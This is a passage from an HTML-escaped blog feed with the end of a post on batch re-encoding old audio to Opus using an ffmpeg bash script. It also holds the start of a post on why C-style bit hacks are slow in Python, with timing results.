&lt;pre&gt;&lt;code&gt;libopus &amp;gt; libvorbis &amp;gt;= libfdk_aac &amp;gt; libmp3lame &amp;gt;= eac3/ac3 &amp;gt; aac &amp;gt; libtwolame &amp;gt; vorbis &amp;gt; mp2 &amp;gt; wmav2/wmav1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So the idea is to re-encode an arbitrary audio file to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;libopus&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-acodec&lt;span class="w"&gt; &lt;/span&gt;libopus&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For the output file &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;ffmpeg&lt;/span&gt;&lt;/code&gt; can save the audio into a container. Different container files exists (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;.m4a&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;.mp4&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;.ogg&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;.flv&lt;/span&gt;&lt;/code&gt;) but today’s internet stream platforms use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;.webm&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CllvdSBjb3VsZCB3cml0ZSBkaXJlY3RseSBgLm9wdXNgLCB0aGUgcmF3IGVuY29kZWQgYXVkaW8sIHdpdGhvdXQgYQpjb250YWluZXIgYW5kIGdldCBldmVuIHNtYWxsZXIgZmlsZXMuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBjb3VsZCB3cml0ZSBkaXJlY3RseSBgLm9wdXNgLCB0aGUgcmF3IGVuY29kZWQgYXVkaW8sIHdpdGhvdXQgYQpjb250YWluZXIgYW5kIGdldCBldmVuIHNtYWxsZXIgZmlsZXMuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You could write directly &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;.opus&lt;/span&gt;&lt;/code&gt;, the raw encoded audio, without a container and get even smaller files.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I’ll go with that.&lt;/p&gt;
&lt;h2 id="bit-rates"&gt;Bit rates&lt;/h2&gt;
&lt;p&gt;One of the things of better encoders is that we can use a lower bit rate without losing quality, as long as we are in the expected numbers for which the encoder was designed.&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;libopus&lt;/span&gt;&lt;/code&gt; we need bit rates of 32kbps or larger.&lt;/p&gt;
&lt;p&gt;Doing a quick, totally subjective test, ~50k is the smallest bit rate that maintains the same quality of my files (which range between 96k and 128k MP3).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-acodec&lt;span class="w"&gt; &lt;/span&gt;libopus&lt;span class="w"&gt; &lt;/span&gt;-b:a&lt;span class="w"&gt; &lt;/span&gt;50k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;.webm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Final tweak, I have some videos that I only care their audio. We can instruct &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;ffmpeg&lt;/span&gt;&lt;/code&gt; to get those with the “no video” option (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-nv&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="scripting"&gt;Scripting&lt;/h2&gt;
&lt;p&gt;The &lt;a href="/assets/misc/compress-old-audio-files/compress_audio.sh"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;compress_audio.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-euo&lt;span class="w"&gt; &lt;/span&gt;pipefail
&lt;span class="nb"&gt;shopt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;nocaseglob

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$#&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;!&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Usage &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt;target dir&amp;gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Processing &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;...&amp;quot;&lt;/span&gt;

&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\n&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fn&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;*.mp3&lt;span class="w"&gt; &lt;/span&gt;*.ogg&lt;span class="w"&gt; &lt;/span&gt;*.wav&lt;span class="w"&gt; &lt;/span&gt;*.wma&lt;span class="w"&gt; &lt;/span&gt;*.m4a&lt;span class="w"&gt; &lt;/span&gt;*.avi&lt;span class="w"&gt; &lt;/span&gt;*.opus&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;basename&lt;span class="w"&gt; &lt;/span&gt;--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ext&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;##*.&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;%.*&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Take the input (-i) file, ignore any video stream (-vn)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# and change its audio codec (-acodec) tto the codec libopus&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# and change its audio bitrate (-b:a) to 50k&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# and save it under the same name but with .webm extension&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-vn&lt;span class="w"&gt; &lt;/span&gt;-acodec&lt;span class="w"&gt; &lt;/span&gt;libopus&lt;span class="w"&gt;  &lt;/span&gt;-b:a&lt;span class="w"&gt; &lt;/span&gt;50k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;.webm&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The script processes the files inside a folder. Any error and the processing will stop and fail so the input file will not be deleted (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;rm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$fn&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The script does &lt;em&gt;not&lt;/em&gt; work recursively, instead I use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;find&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;find&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;d&lt;span class="w"&gt; &lt;/span&gt;-exec&lt;span class="w"&gt; &lt;/span&gt;compress_audio.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is on purpose: if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;compress_audio.sh&lt;/span&gt;&lt;/code&gt; fails, that folder is skipped (no file is further processed or removed) but the whole recursive scan keeps on (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;find&lt;/span&gt;&lt;/code&gt; will not stop on an error).&lt;/p&gt;
&lt;h2 id="results"&gt;Results&lt;/h2&gt;
&lt;p&gt;The ~3k audio files with a total size of ~20GB was processed in ~2hs with a final total size of ~7GB, a ~65% reduction. Not bad.&lt;/p&gt;
&lt;p&gt;That only counted for audio files. Extracting the audio from videos and deleting the videos additionally saved a few hundred of megabytes more.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/08/27/Compress-Old-Audio-Files.html" rel="alternate" type="text/html" title="Compress Old Audio Files"/>
    <category term="misc" label="misc"/>
    <category term="ffmpeg" label="ffmpeg"/>
    <published>2022-08-27T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/07/17/Lessons-Learnt-Optimizing-Pyte.html</id>
    <title>Lessons Learnt Optimizing Pyte</title>
    <updated>2022-07-17T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Few thoughts about Python code optimization and benchmarking for &lt;a href="https://github.com/selectel/pyte"&gt;pyte&lt;/a&gt; and &lt;a href="/articles/2022/07/15/Sparse-Aware-Optimizations-for-Terminal-Emulator-Pyte.html"&gt;summarized here&lt;/a&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="optimize-python-code-is-not-like-optimize-c-code"&gt;Optimize Python code is &lt;strong&gt;not&lt;/strong&gt; like optimize C code&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;mental model&lt;/em&gt; for optimize of Python code is not the same for optimize C/C++/Rust code.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFjdHVhbGx5IGFueSBtb2Rlcm4gY29tcGlsZXIgd2lsbCBkbyB0aGlzIGZvcgp5b3UgYW5kIGlmIHBvc3NpYmxlLCBpdCB3aWxsIHJlcGxhY2UgdGhlIGJpdCBoYWNrcyBieSBtdWNoIGZhc3RlcgpzcGVjaWZpYyBpbnN0cnVjdGlvbnMgZm9yIHlvdSBtaWNyby4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFjdHVhbGx5IGFueSBtb2Rlcm4gY29tcGlsZXIgd2lsbCBkbyB0aGlzIGZvcgp5b3UgYW5kIGlmIHBvc3NpYmxlLCBpdCB3aWxsIHJlcGxhY2UgdGhlIGJpdCBoYWNrcyBieSBtdWNoIGZhc3RlcgpzcGVjaWZpYyBpbnN0cnVjdGlvbnMgZm9yIHlvdSBtaWNyby4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Actually any modern compiler will do this for you and if possible, it will replace the bit hacks by much faster specific instructions for you micro.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In low level languages a conditional can be replaced with as faster combination of bit hacks.&lt;/p&gt;
&lt;p&gt;A classic example is &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#IntegerMinOrMax"&gt;find the minimum two values&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// slow, branch version&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// fast, branchless version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Doing this in Python is insanely slow:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;

&lt;span class="mf"&gt;20.3&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;0.917&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;
&lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="mf"&gt;81.4&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;loops&lt;/span&gt;
&lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mf"&gt;70.5&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;0.88&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;loops&lt;/span&gt;
&lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CkEgKmp1c3QgaW4gdGltZSogY29tcGlsZXIgbWF5IGNoYW5nZSB0aGlzIGJ1dCBmb3Igbm93LCBDUHl0aG9uIGRvZXMKbm90IGltcGxlbWVudHMgaXQuIFtQeVB5XShodHRwczovL3d3dy5weXB5Lm9yZy8pCm1heSB5aWVsZCBkaWZmZXJlbnQgcmVzdWx0cy4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkEgKmp1c3QgaW4gdGltZSogY29tcGlsZXIgbWF5IGNoYW5nZSB0aGlzIGJ1dCBmb3Igbm93LCBDUHl0aG9uIGRvZXMKbm90IGltcGxlbWVudHMgaXQuIFtQeVB5XShodHRwczovL3d3dy5weXB5Lm9yZy8pCm1heSB5aWVsZCBkaWZmZXJlbnQgcmVzdWx0cy4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
A &lt;em&gt;just in time&lt;/em&gt; compiler may change this but for now, CPython does not implements it. &lt;a href="https://www.pypy.org/"&gt;PyPy&lt;/a&gt; may yield different results.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The bit hack is insanely slow when compared with the branch version: it is because the bit hack involves many more Python instructions that need to be interpreted by the VM.&lt;/p&gt;
&lt;p&gt;The call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;min&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not much faster either. While this requires less code and the function it is implemented in C, the call to a function is expensive and (for CPython 3.9), the function is not inline’d.&lt;/p&gt;
&lt;p&gt;Also complex code may not be too slow if they are coded entirely in C.&lt;/p&gt;
&lt;p&gt;For example, Rust developer could think that a simple &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is way faster than a lookup on a hash-based dictionary/map. It is obvious that the addition can be done in a single instruction and the lookup will take much more.&lt;/p&gt;
&lt;p&gt;But in Python the things are not so clear:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
